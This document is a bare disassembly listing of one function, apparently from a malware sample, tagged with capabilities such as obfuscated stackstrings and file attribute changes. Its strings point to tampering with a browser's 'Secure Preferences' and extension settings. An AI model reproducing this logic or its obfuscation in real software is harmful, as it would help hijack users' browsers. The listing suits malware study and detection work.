Function at 0x1000bde0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041fed
mov eax, dword fs:[0]
push eax
sub esp, 0x728
mov eax, dword [0x1006f068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x278], edx
mov esi, ecx
push 0xb
push str.yvoyuyjfvqf
lea ecx, [ebp - 0x29c]
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x288], 0xf
mov byte [ebp - 0x29c], 0
call fcn.1000d700
lea ecx, [ebp - 0x29c]
call fcn.1000d670
push 0x46
push 0x10051dc0
lea ecx, [ebp - 0xec]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
call fcn.1000d700
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2cc]
push 0x46
push 0x10051e08
mov dword [ebp - 0x2bc], 0
mov dword [ebp - 0x2b8], 0xf
mov byte [ebp - 0x2cc], 0
call fcn.1000d700
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2b4]
push 0x46
push str.vrnqbnmxawzipoxgaqeqbpygzafqthgtdcwmhyrclhdpsanpsdnntzwfinimyenpoliiyn
mov dword [ebp - 0x2a4], 0
mov dword [ebp - 0x2a0], 0xf
mov byte [ebp - 0x2b4], 0
call fcn.1000d700
lea ecx, [ebp - 0x2b4]
call fcn.1000d670
lea ecx, [ebp - 0x2cc]
call fcn.1000d670
lea ecx, [ebp - 0xec]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
call fcn.10009740
mov ebx, eax
mov dword [ebp - 0x27c], ebx
test ebx, ebx
jne 0x1000bf21
lea eax, [ebx + 1]
jmp 0x1000d394
push 0x50
push str.kzyrbijgvkvazadtabzfhrsntnuxwtkcxeahhzqbosopgqklgfmhckxmarztuorfzrfvikjpnbtolndm
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x330], 0xf
mov byte [ebp - 0x344], 0
call fcn.1000d700
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x134]
push 0x2c
push 0x1005679c
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
call fcn.1000d700
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2fc]
push 0x2c
push 0x100567cc
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2e8], 0xf
mov byte [ebp - 0x2fc], 0
call fcn.1000d700
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2e4]
push 0x2c
push str.qhgxqwyyounenumgywwfzjtddvderuslqurroemwgscm
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x2d0], 0xf
mov byte [ebp - 0x2e4], 0
call fcn.1000d700
lea ecx, [ebp - 0x2e4]
call fcn.1000d670
lea ecx, [ebp - 0x2fc]
call fcn.1000d670
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 2
call fcn.1000d670
push 0x26
push str.qiueysryturhtrkxnuxzbqoakaskfnwvvasaef
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
call fcn.1000d700
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x194]
push 0x29
push str.atoljxgbcdbatgoylmcmbjvkuvonlkqqdxlykysal
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
call fcn.1000d700
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x17c]
push 0x31
push 0x10051d10
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], 0
call fcn.1000d700
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x32c]
push 0x31
push 0x10051d44
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x318], 0xf
mov byte [ebp - 0x32c], 0
call fcn.1000d700
mov byte [ebp - 4], 8
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x300], 0xf
mov byte [ebp - 0x314], 0
push 0x31
push str.ebkkrwyzvtjuhgkdkwqlwynhluravicmyagfsrlstbuzqqqre
lea ecx, [ebp - 0x314]
call fcn.1000d700
lea ecx, [ebp - 0x314]
call fcn.1000d670
lea ecx, [ebp - 0x32c]
mov byte [ebp - 4], 7
call fcn.1000d670
push 0x10
push str.anatinxhimxpbnux
lea ecx, [ebp - 0x6bc]
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 0xf
mov byte [ebp - 0x6bc], 0
call fcn.1000d700
lea ecx, [ebp - 0x17c]
call fcn.1000d670
lea ecx, [ebp - 0x194]
call fcn.1000d670
lea ecx, [ebp - 0x1ac]
call fcn.1000d670
lea ecx, [ebp - 0x344]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
lea ecx, [ebp - 0x6bc]
call fcn.1000d670
push 0x2e
push str.eetocuhsgatdaysjhbrvapxgrvhvoqiwdvbhihykachtyg
lea ecx, [ebp - 0x5cc]
mov dword [ebp - 0x5bc], 0
mov dword [ebp - 0x5b8], 0xf
mov byte [ebp - 0x5cc], 0
call fcn.1000d700
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x62c]
push 0x27
push str.njwhonuwgzxgjlplgxocklvvrxvgbmzqubznazd
mov dword [ebp - 0x61c], 0
mov dword [ebp - 0x618], 0xf
mov byte [ebp - 0x62c], 0
call fcn.1000d700
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x65c]
push 0x1d
push str.opmdkbvobccmtkqnogusampaexouv
mov dword [ebp - 0x64c], 0
mov dword [ebp - 0x648], 0xf
mov byte [ebp - 0x65c], 0
call fcn.1000d700
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x6a4]
push 0xe
push str.gsiyguarhevuew
mov dword [ebp - 0x694], 0
mov dword [ebp - 0x690], 0xf
mov byte [ebp - 0x6a4], 0
call fcn.1000d700
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1f4]
push 0x3a
push str.zupbvjqvecifgukkqhayxetxgaffqfsgtqavaoejsjngwhvbsmxorshzvk
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
call fcn.1000d700
lea ecx, [ebp - 0x1f4]
call fcn.1000d670
lea ecx, [ebp - 0x6a4]
call fcn.1000d670
lea ecx, [ebp - 0x65c]
call fcn.1000d670
lea ecx, [ebp - 0x62c]
call fcn.1000d670
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5cc]
call fcn.1000d670
call fcn.1000b960
push ecx
mov edx, ebx
mov ecx, ebx
call fcn.10009560
add esp, 4
mov dword [0x1006fab4], eax
test eax, eax
je 0x1000c2d6
mov eax, 2
jmp 0x1000d394
call fcn.1000b960
push dword [ebp + 8]
mov edx, esi
mov ecx, ebx
call fcn.10009ec0
sub esp, 0x14
mov dword [0x1006fab8], eax
mov ecx, esp
mov dword [ebp - 0x270], esp
push 0x1c
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.xjibrwewylfrqxyudoeytbcizylx
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov dword [ebp - 4], 0xf
mov ecx, esp
mov dword [ebp - 0x25c], esp
push 0x58
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.wbtylkxixrxgfaktoyaisjwkmhumnnxrnnltsesusvlaaqdgzmddzmtdzeoaovapdjilkfsiomqhfhooecdivibw
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov byte [ebp - 4], 0x10
mov ecx, esp
mov dword [ebp - 0x26c], esp
push 0x1e
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.xsuoieeunlobkqzwrqietjxlenrivq
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov byte [ebp - 4], 0x11
mov ecx, esp
push 0x40
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.ouhpdyifbywbmaltepzlzxurppxkcofwsctzcmwntqydsoxoqwnisitlymipjgvp
mov byte [ecx], 0
call fcn.1000d700
lea eax, [ebp - 0x734]
mov dword [ebp - 4], 0xffffffff
push eax
call fcn.10002220
lea ecx, [ebp - 0x734]
call fcn.1000d670
mov ecx, esi
call fcn.1000a120
mov dword [ebp - 0x25c], eax
test eax, eax
je 0x1000d38f
cmp byte [eax], 0
je 0x1000d38f
sub esp, 0x18
mov ecx, esp
push 0x22
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.jqcaonmsnunfqrgtdauynapeolntrlhzlj
mov byte [ecx], 0
call fcn.1000d700
push ecx
call fcn.100050b0
push 0x10
push str.abizggytgwigtnnn
lea ecx, [ebp - 0x5b4]
mov dword [ebp - 0x5a4], 0
mov dword [ebp - 0x5a0], 0xf
mov byte [ebp - 0x5b4], 0
call fcn.1000d700
lea ecx, [ebp - 0x5b4]
call fcn.1000d670
push 0x208
mov dword [ebp - 0x26c], 0
call fcn.100272ed
lea edx, [ebp - 0x26c]
mov ecx, 0x100504c0
mov edi, eax
call fcn.1000f480
mov ecx, eax
call fcn.1001b0e0
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push eax
push 0x1005df8c
push esi
push 0x1005dfec
push edi
call ebx
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1000c48c
mov eax, 5
jmp 0x1000d394
push 0x19
push str.mznyqvjvrvwmqaazevbketpxn
lea ecx, [ebp - 0x464]
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x450], 0xf
mov byte [ebp - 0x464], 0
call fcn.1000d700
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x47c]
push 8
push str.vcmherpr
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x468], 0xf
mov byte [ebp - 0x47c], 0
call fcn.1000d700
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x554]
push 9
push str.zhqdyxzel
mov dword [ebp - 0x544], 0
mov dword [ebp - 0x540], 0xf
mov byte [ebp - 0x554], 0
call fcn.1000d700
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x56c]
push 0x62
push str.pqvvbfjnubwxfwakkqaoiuevrvuiijirhbcgcatmfpwogcayeameaifvzymjxyspbcfjxnmcrnntadmgwvdesypiirbwynrlpy
mov dword [ebp - 0x55c], 0
mov dword [ebp - 0x558], 0xf
mov byte [ebp - 0x56c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x8c]
push 7
push str.bsturys
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x74]
push 0x53
push str.udaetexfoiljwcdfbmlbvjghxhomvynhtlbtplloucocpgmkeonmkovqajqailnlvbfdmnhtykierlazlfh
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
call fcn.1000d700
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x4c4]
push 0xc
push str.xsbizjliplor
mov dword [ebp - 0x4b4], 0
mov dword [ebp - 0x4b0], 0xf
mov byte [ebp - 0x4c4], 0
call fcn.1000d700
lea ecx, [ebp - 0x74]
call fcn.1000d670
lea ecx, [ebp - 0x8c]
call fcn.1000d670
lea ecx, [ebp - 0x56c]
call fcn.1000d670
lea ecx, [ebp - 0x554]
mov byte [ebp - 4], 0x14
call fcn.1000d670
lea ecx, [ebp - 0x4c4]
call fcn.1000d670
push 0x14
push str.lfgropomjwjlhtjquhko
lea ecx, [ebp - 0x44c]
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0xf
mov byte [ebp - 0x44c], 0
call fcn.1000d700
lea ecx, [ebp - 0x47c]
call fcn.1000d670
lea ecx, [ebp - 0x464]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
lea ecx, [ebp - 0x44c]
call fcn.1000d670
mov edx, esi
mov ecx, edi
call fcn.1001fdc0
test eax, eax
je 0x1000c677
mov eax, 6
jmp 0x1000d394
push 0x45
push str.xxfzwlwhylgwjvawdhyangawaioycbnmelcaftxeptryamnvothmralaxrvbjheljeeqo
lea ecx, [ebp - 0x3a4]
mov dword [ebp - 0x394], 0
mov dword [ebp - 0x390], 0xf
mov byte [ebp - 0x3a4], 0
call fcn.1000d700
mov dword [ebp - 4], 0x1a
lea ecx, [ebp - 0x38c]
push 0x2f
push str.amqnzulyylzrwjbncyaazjjjnftvditxmamwxvuecmybacd
mov dword [ebp - 0x37c], 0
mov dword [ebp - 0x378], 0xf
mov byte [ebp - 0x38c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x374]
push 0x27
push str.sytyqteywlclxbxjlmisrziyncbbfotihcbbwtm
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x360], 0xf
mov byte [ebp - 0x374], 0
call fcn.1000d700
mov dword [ebp - 4], 0x1e
lea ecx, [ebp - 0x35c]
push 0xb
push str.nijypqpsqqs
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x348], 0xf
mov byte [ebp - 0x35c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x164]
push 0x30
push str.bbpqdytfmyczetpdsytiweuthmfnuehrlvndzyjvobsucbsm
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0xf
mov byte [ebp - 0x164], 0
call fcn.1000d700
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x644]
push 0x10
push str.arwnuxbruuqrxyxa
mov dword [ebp - 0x634], 0
mov dword [ebp - 0x630], 0xf
mov byte [ebp - 0x644], 0
call fcn.1000d700
lea ecx, [ebp - 0x164]
call fcn.1000d670
lea ecx, [ebp - 0x35c]
mov byte [ebp - 4], 0x1e
call fcn.1000d670
lea ecx, [ebp - 0x644]
call fcn.1000d670
push 0x3e
push str.xcqmzbgvkgkkcncywapprjcuuzugrsfwrxzduchtxiwykjgsexefbkeadwfgex
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
call fcn.1000d700
lea ecx, [ebp - 0x1c4]
call fcn.1000d670
lea ecx, [ebp - 0x374]
call fcn.1000d670
lea ecx, [ebp - 0x38c]
call fcn.1000d670
lea ecx, [ebp - 0x3a4]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
sub esp, 0x10
mov dword [ebp - 0x260], 0
xor edi, edi
call fcn.10001fe0
push 0x208
call fcn.100272ed
push 0x1005e108
push esi
push 0x1005e124
push eax
mov dword [ebp - 0x270], eax
call ebx
add esp, 0x14
mov dword [ebp - 0x3dc], edi
lea ecx, [ebp - 0x3ec]
mov dword [ebp - 0x3d8], 0xf
mov byte [ebp - 0x3ec], 0
push 0x41
push str.heeoftpsxhwmtuigveohpmfxahimqzrckfgyjbwstcwtptwyvtwtobtuwogztbkls
call fcn.1000d700
mov dword [ebp - 4], 0x21
lea ecx, [ebp - 0x3d4]
push 0x54
push str.mnqirjxmieiezjmzbjtobufvqknhltyxqqjhkeidxtvlmpvaanngblgmrxulpkeicjvizhjqokiqqwlglgfu
mov dword [ebp - 0x3c4], edi
mov dword [ebp - 0x3c0], 0xf
mov byte [ebp - 0x3d4], 0
call fcn.1000d700
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x3bc]
push 0x35
push str.aknhzzfjcduypewbrvimlqqmgedroefjqkmuiucrkfbghdjcymack
mov dword [ebp - 0x3ac], edi
mov dword [ebp - 0x3a8], 0xf
mov byte [ebp - 0x3bc], 0
call fcn.1000d700
sub esp, 0x18
mov dword [ebp - 4], 0x25
mov ecx, esp
push 0xc
mov dword [ecx + 0x10], edi
mov dword [ecx + 0x14], 0xf
push str.widmsoqvzijx
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0xc
lea eax, [ebp - 0x6d4]
push eax
call fcn.10004e20
lea ecx, [ebp - 0x6d4]
call fcn.1000d670
push 0x12
push str.biecbcfwdczjtzmark
lea ecx, [ebp - 0x404]
mov dword [ebp - 0x3f4], edi
mov dword [ebp - 0x3f0], 0xf
mov byte [ebp - 0x404], 0
call fcn.1000d700
lea ecx, [ebp - 0x3bc]
call fcn.1000d670
lea ecx, [ebp - 0x3d4]
call fcn.1000d670
lea ecx, [ebp - 0x3ec]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
lea ecx, [ebp - 0x404]
call fcn.1000d670
lea edx, [ebp - 0x26c]
mov ecx, str.cGdpZ2ZwbWdrbmZwY2lqaW9paGtqaGdnb2xjZ3BlYWg
call fcn.1000f480
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
sub esp, 8
call fcn.10001d30
push 0x208
call fcn.100272ed
mov dword [ebp - 0x258], eax
push 0x1005e174
push 0x1005e18c
push esi
push 0x1005e220
push eax
call ebx
sub esp, 8
call fcn.10004dc0
push 0x51
push str.tkhnslyziydtgemncldozuqcuagqnlxizwqwgdqemprdfshmyqkmsdxjgrvmdfmidscfbhdslvkkezvmm
lea ecx, [ebp - 0x104]
mov dword [ebp - 0xf4], edi
mov dword [ebp - 0xf0], 0xf
mov byte [ebp - 0x104], 0
call fcn.1000d700
mov dword [ebp - 4], 0x26
lea ecx, [ebp - 0x11c]
push 0x10
push 0x10051904
mov dword [ebp - 0x10c], edi
mov dword [ebp - 0x108], 0xf
mov byte [ebp - 0x11c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x14c]
push 8
push str.tilhvxwo
mov dword [ebp - 0x13c], edi
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x434]
push 0x10
push 0x10051978
mov dword [ebp - 0x424], edi
mov dword [ebp - 0x420], 0xf
mov byte [ebp - 0x434], 0
call fcn.1000d700
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x41c]
push 0x10
push str.xdgiacsrkneqpijl
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x408], 0xf
mov byte [ebp - 0x41c], 0
call fcn.1000d700
lea ecx, [ebp - 0x41c]
call fcn.1000d670
lea ecx, [ebp - 0x434]
call fcn.1000d670
lea ecx, [ebp - 0x14c]
call fcn.1000d670
lea ecx, [ebp - 0x11c]
call fcn.1000d670
lea ecx, [ebp - 0x104]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
push 0x208
call fcn.100272ed
push str.Secure_Preferences
push 0x1005e258
push esi
mov ebx, eax
push 0x1005e25c
push ebx
mov dword [ebp - 0x268], ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
mov dword [ebp - 0x4e4], edi
lea ecx, [ebp - 0x4f4]
mov dword [ebp - 0x4e0], 0xf
mov byte [ebp - 0x4f4], 0
push 0xb
push str.snohbwitxwu
call fcn.1000d700
mov dword [ebp - 4], 0x2a
push 0x4f
push str.zmzdhhvmqmzbmripwfmcsksqyojsfwivflohjqkmflxcgustzfotrdopxlfhkkgcriucybhhbixgefl
lea ecx, [ebp - 0x4dc]
mov dword [ebp - 0x4cc], edi
mov dword [ebp - 0x4c8], 0xf
mov byte [ebp - 0x4dc], 0
call fcn.1000d700
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0xd4]
push 0x1f
push 0x10055b2c
mov dword [ebp - 0xc4], edi
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
call fcn.1000d700
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x4ac]
push 0x1f
push 0x10055bbc
mov dword [ebp - 0x49c], edi
mov dword [ebp - 0x498], 0xf
mov byte [ebp - 0x4ac], 0
call fcn.1000d700
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x494]
push 0x1f
push str.vdntfxsbkyjtiqeavnjnimbosphygpr
mov dword [ebp - 0x484], edi
mov dword [ebp - 0x480], 0xf
mov byte [ebp - 0x494], 0
call fcn.1000d700
lea ecx, [ebp - 0x494]
call fcn.1000d670
lea ecx, [ebp - 0x4ac]
call fcn.1000d670
lea ecx, [ebp - 0xd4]
call fcn.1000d670
lea ecx, [ebp - 0x4dc]
mov byte [ebp - 4], 0x2a
call fcn.1000d670
push 0x13
push str.vkoyvtwrhbqjawgpiav
lea ecx, [ebp - 0x50c]
mov dword [ebp - 0x4fc], edi
mov dword [ebp - 0x4f8], 0xf
mov byte [ebp - 0x50c], 0
call fcn.1000d700
lea ecx, [ebp - 0x4f4]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
lea ecx, [ebp - 0x50c]
call fcn.1000d670
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x80
push dword [ebp - 0x258]
call esi
push 0x80
push ebx
call esi
sub esp, 0x18
mov ecx, esp
push 0x4c
mov dword [ecx + 0x10], edi
mov dword [ecx + 0x14], 0xf
push str.hnyobrbmujlqjuhqafthhrwynrihisjzflnigzstdrpbjfpkgjjreuozapxcqrmuifenhsagsnqn
mov byte [ecx], 0
call fcn.1000d700
call fcn.10001a80
mov esi, dword [ebp - 0x25c]
lea edx, [ebp - 0x44]
push 1
push esi
mov ecx, ebx
call fcn.100087d0
add esp, 8
test eax, eax
je 0x1000ccc7
mov ebx, eax
jmp 0x1000d31a
push 0x10
push str.aghtdgmbwwmatbaf
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 0x5d4], 0
mov dword [ebp - 0x5d0], 0xf
mov byte [ebp - 0x5e4], 0
call fcn.1000d700
mov dword [ebp - 4], 0x2e
lea ecx, [ebp - 0x59c]
push 0x27
push str.xjzmjrvohqawzowrnwggmxrscmpqdqtyilcrrds
mov dword [ebp - 0x58c], 0
mov dword [ebp - 0x588], 0xf
mov byte [ebp - 0x59c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x584]
push 6
push str.rapruv
mov dword [ebp - 0x574], 0
mov dword [ebp - 0x570], 0xf
mov byte [ebp - 0x584], 0
call fcn.1000d700
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0xbc]
push 0x22
push 0x100558c4
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
call fcn.1000d700
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xa4]
push 0x5f
push str.zgkzbasscbjrkqqzuxiqurbtsvzesnvqotmyfbtfdoviyrjulwuewozoiqhjjggsniaaxgpmidaxbsioqwgbcoxhvxzkstf
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
call fcn.1000d700
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x53c]
push 0x22
push 0x10055934
mov dword [ebp - 0x52c], 0
mov dword [ebp - 0x528], 0xf
mov byte [ebp - 0x53c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x524]
push 0x22
push str.tyattoaswnqbkzrshtjbwqbflqttsfujhk
mov dword [ebp - 0x514], 0
mov dword [ebp - 0x510], 0xf
mov byte [ebp - 0x524], 0
call fcn.1000d700
lea ecx, [ebp - 0x524]
call fcn.1000d670
lea ecx, [ebp - 0x53c]
call fcn.1000d670
lea ecx, [ebp - 0xa4]
call fcn.1000d670
lea ecx, [ebp - 0xbc]
call fcn.1000d670
lea ecx, [ebp - 0x584]
call fcn.1000d670
lea ecx, [ebp - 0x59c]
mov byte [ebp - 4], 0x2e
call fcn.1000d670
push 0x36
mov dword [ebp - 0x244], 0
lea ecx, [ebp - 0x254]
mov dword [ebp - 0x240], 0xf
mov byte [ebp - 0x254], 0
push str.pzdblcifctabwekhcprwfgegtpuujgcvowgmpnrisbwhejmgkbttsi
call fcn.1000d700
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x5c]
push 0x15
push str.chzvwzazpgxhjsrilpajd
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
call fcn.1000d700
lea ecx, [ebp - 0x5c]
call fcn.1000d670
lea ecx, [ebp - 0x254]
call fcn.1000d670
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
push 0x49
push str.rbwvhlsdiholicfwozvlvwnzlfgbwaeirpdoznbwjklfnvyetdhrdjjaipsndpdzaqtmlaneo
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0xf
mov byte [ebp - 0x224], 0
call fcn.1000d700
mov dword [ebp - 4], 0x36
lea ecx, [ebp - 0x1dc]
push 0x41
push 0x10055ac0
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
call fcn.1000d700
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x23c]
push 0x38
push str.bhmincmsahjekdwaxlaxdashyyjaipuwrluurdxofmgumaviyngxwcyg
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0xf
mov byte [ebp - 0x23c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x614]
push 0x41
push 0x10055b78
mov dword [ebp - 0x604], 0
mov dword [ebp - 0x600], 0xf
mov byte [ebp - 0x614], 0
call fcn.1000d700
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x5fc]
push 0x41
push str.kmyxcmxuvshmlfarvucvozkthtmfbgquklgfdvrzedybcvogmrkeeujwmrjatucwt
mov dword [ebp - 0x5ec], 0
mov dword [ebp - 0x5e8], 0xf
mov byte [ebp - 0x5fc], 0
call fcn.1000d700
lea ecx, [ebp - 0x5fc]
call fcn.1000d670
lea ecx, [ebp - 0x614]
call fcn.1000d670
lea ecx, [ebp - 0x23c]
call fcn.1000d670
lea ecx, [ebp - 0x1dc]
call fcn.1000d670
lea ecx, [ebp - 0x224]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
push 0x4b
push 0x10051698
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
call fcn.1000d700
mov dword [ebp - 4], 0x3a
mov dword [ebp - 0x67c], 0
push 0x4b
push 0x10051700
lea ecx, [ebp - 0x68c]
mov dword [ebp - 0x678], 0xf
mov byte [ebp - 0x68c], 0
call fcn.1000d700
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x674]
push 0x4b
push str.rvzovxendnbcxbfmrjutugxuycrjytoombqmbzmxyvdltbwoqwmagwgyjepwtdjqpbbrkdrfsyu
mov dword [ebp - 0x664], 0
mov dword [ebp - 0x660], 0xf
mov byte [ebp - 0x674], 0
call fcn.1000d700
lea ecx, [ebp - 0x674]
call fcn.1000d670
lea ecx, [ebp - 0x68c]
call fcn.1000d670
lea ecx, [ebp - 0x20c]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
call ebx
mov esi, eax
lea eax, [ebp - 0x44]
push eax
call ebx
add esi, eax
xor eax, eax
add esi, 1
setb al
neg eax
or eax, esi
push eax
call fcn.100272ed
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x260], ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 0x25c]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
call ebx
sub esp, 0x1c
mov ecx, esp
push str.dgdaehdxtqfdrhtbft
call fcn.1000d630
call fcn.10001940
lea edx, [ebp - 0x25c]
mov dword [ebp - 0x25c], 0
mov ecx, str.ZXh0ZW5zaW9ucy5zZXR0aW5ncy4
call fcn.1000f480
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp - 0x260]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add esi, eax
xor eax, eax
add esi, 1
setb al
neg eax
or eax, esi
push eax
call fcn.100272ed
add esp, 4
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 0x260]
push esi
call ebx
sub esp, 0x24
mov ecx, esp
mov dword [ebp - 0x274], esp
push str.jhjnstkoixsrthstkdhoqobbqyyskperpuaxkormnulmknmcwvfxgpllrvinorwnqiwn
call fcn.1000d630
sub esp, 0x28
mov dword [ebp - 4], 0x3c
mov ecx, esp
mov dword [ebp - 0x284], esp
push str.ecafvnbvorzejzclgxlvziiitjkyxhkqnpkgtedyjqndgyyhwkrwnimmseoegntvw
call fcn.1000d630
sub esp, 0x1c
mov byte [ebp - 4], 0x3d
mov ecx, esp
mov dword [ebp - 0x280], esp
push str.mauuiqrxjpvhtiwsxzvtxtmjfqplzrqdqovcwbkvfry
call fcn.1000d630
sub esp, 0x18
mov byte [ebp - 4], 0x3e
mov ecx, esp
push str.rgutrwymtoblymgfaqbrnvolvmjgbxiqzzcvprnrytokzxfslhweijqejlfpvbipbbegpqpdxfqsv
call fcn.1000d630
push ecx
mov dword [ebp - 4], 0xffffffff
call fcn.100017b0
mov ecx, esi
call fcn.1000de80
mov edi, eax
test edi, edi
je 0x1000d315
cmp byte [edi], 0
je 0x1000d315
sub esp, 0x18
mov ecx, esp
push str.leqamvaz
call fcn.1000d630
lea eax, [ebp - 0x6ec]
push eax
call fcn.100015d0
